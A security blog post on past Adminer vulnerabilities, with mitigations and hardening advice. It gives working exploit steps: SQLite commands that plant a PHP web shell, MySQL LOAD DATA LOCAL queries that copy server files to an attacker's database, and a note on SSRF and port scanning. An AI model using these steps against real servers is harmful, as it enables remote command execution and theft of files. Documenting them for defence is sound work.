Skip to main content

Adminer - A Guide For All its Vulnerabilities

Adminer is a popular PHP database management tool.

This blog post will detail its vulnerabilities, how to exploit them and how to protect yourself from these risks.

RCE using SQLite

Versions 4.2.4 and before that support SQLite are vulnerable to this.

The server must have the SQLite PHP driver installed for this to work.

On Adminer you login with an empty username and database name.

This will log you in to a temporary in-memory database.

Then you execute the following SQLite commands:

ATTACH DATABASE 'shell.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn ( dataz) VALUES ('<?php system($_GET['command']); ?>');

This will create a PHP file (shell.php) in the same directory as Adminer that you can use to run commands.

If the directory is not writable you can write the shell file to another directory by changing the path in the attach command.

This was patched in version 4.2.5 by filtering the ATTACH statement from SQLite commands and requiring credentials for SQLite.

Local File Read using MySQL

Version 4.6.2 and before are vulnerable to this.

MySQL has a statement called load_file() for reading files on the same server as MySQL server but it also has a statement called LOAD DATA LOCAL that can be used to read files from the MySQL client system.

To exploit this on an Adminer install you can enter MySQL credentials for a server (easiest to use your own one for testing), login and select a db.

Sometimes a server will refuse to connect out to your MySQL server on port 3306. To get past this issue you can run your MySQL server on a more common port like 443 or 80.

If you succeed in logging in you run the following:

CREATE TABLE db.data (data_column text);
LOAD DATA LOCAL INFILE 'index.php'
INTO TABLE db.data
FIELDS TERMINATED BY "\n";
SELECT * FROM db.data;

This will load the contents of the index.php file from the Adminer server into the db.data table on your MySQL server.

You don’t need full path to exploit this as you can use a path relative to the Adminer file.

Sometimes you may see this error:

Error in query (1148): The used command is not allowed with this MariaDB version

This is because MariaDB changed the default settings (or the webmaster manually changed the MySQL settings) to disable LOAD DATA LOCAL. This is a useful mitigation: https://dev.mysql.com/doc/refman/5.6/en/load-data-local-security.html

The Adminer 4.6.3 patch for this is very effective as it disables local infile at the PHP driver level.

If it wasn’t disabled at the driver level it would still be exploitable by using a rogue MySQL server. (w00tsec writeup) (Knownsec404 writeup).

This LOAD DATA LOCAL issue is also present in other SQL management tools like phpMyAdmin, phpMinAdmin and Sypex Dumper. It can also be abused on various CMSes if you have the power to make it connect to a rogue MySQL server.

SSRFs

Adminer’s MySQL login feature can be used for port scanning as demonstrated in CVE-2018-7667.

In newer versions support was added for HTTP based DBMS like ElasticSearch and Clickhouse. These implementations were vulnerable to SSRF that returned page contents on successful requests.

Recommendations

Use the latest version (of course).

Where possible use the DBMS-specific version of Adminer for your needs to reduce the attack surface.

If you do not need to use Adminer on a regular basis then you should remove it from your webserver and reupload as needed.

If it needs to remain on the server it should be behind extra controls like htaccess or IP filter.

Changelog

Know of something I should add to this page? Tweet me @SorceryIE

Date Change
11/03/2021 Blog post released